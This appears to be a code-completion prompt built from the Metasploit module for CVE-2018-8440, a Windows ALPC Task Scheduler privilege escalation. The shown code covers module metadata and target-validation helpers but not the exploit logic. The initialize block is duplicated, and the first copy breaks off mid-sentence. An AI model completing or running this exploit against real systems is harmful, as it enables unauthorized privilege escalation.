You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: alpc_taskscheduler.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/local
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::ReflectiveDLLInjection

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Windows ALPC Task Scheduler Local Privilege Elevation',
        'Description' => %q{
          On vulnerable versions of Windows the alpc endpoint method SchRpcSetSecurity implemented
          by the task scheduler service can be used to write arbitrary DACLs to `.job` files located
          in `c:\windows\tasks` because the scheduler does not use impersonation when checking this
          location. Since users can create files in the `c:\windows\tasks` folder, a hardlink can be
          created to a file the user has read access to. After creating a hardlink, the 
    
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Windows ALPC Task Scheduler Local Privilege Elevation',
        'Description' => %q{
          On vulnerable versions of Windows the alpc endpoint method SchRpcSetSecurity implemented
          by the task scheduler service can be used to write arbitrary DACLs to `.job` files located
          in `c:\windows\tasks` because the scheduler does not use impersonation when checking this
          location. Since users can create files in the `c:\windows\tasks` folder, a hardlink can be
          created to a file the user has read access to. After creating a hardlink, the vulnerability
          can be triggered to set the DACL on the linked file.

          WARNING:
          The PrintConfig.dll (%windir%\system32\driverstor\filerepository\prnms003*) on the target host
          will be overwritten when the exploit runs.

          This module has been tested against Windows 10 Pro x64.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'SandboxEscaper', # Original discovery and PoC
          'bwatters-r7',          # msf module
          'asoto-r7',             # msf module
          'Jacob Robles'          # msf module
        ],
        'Platform' => 'win',
        'SessionTypes' => ['meterpreter'],
        'Targets' => [
          ['Windows 10 x64', { 'Arch' => ARCH_X64 }]
        ],
        'References' => [
          ['CVE', '2018-8440'],
          ['URL', 'https://github.com/SandboxEscaper/randomrepo/'],
        ],
        'Notes' => {
          # Exploit overwrites PrintConfig.dll, which makes it unusable.
          'Stability' => [ OS_RESOURCE_LOSS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        },
        'DisclosureDate' => '2018-08-27',
        'DefaultTarget' => 0
      )
    )
  end

  def validate_active_host
    sysinfo['Computer']
    true
  rescue Rex::Post::Meterpreter::RequestError, Rex::TimeoutError => e
    elog(e)
    false
  end

  def validate_target
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    if sysinfo['Architecture'] == ARCH_X86
      fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
    end